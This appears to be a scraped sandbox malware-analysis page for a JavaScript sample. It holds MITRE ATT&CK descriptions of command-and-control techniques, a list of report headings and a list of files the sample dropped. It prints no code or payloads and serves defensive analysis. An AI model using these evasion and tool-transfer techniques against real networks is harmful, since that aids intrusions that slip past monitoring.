Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 507722252877028578.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4b347191-a5a8-4400-9b66-c557934c008d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3788

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
507722252877028578.js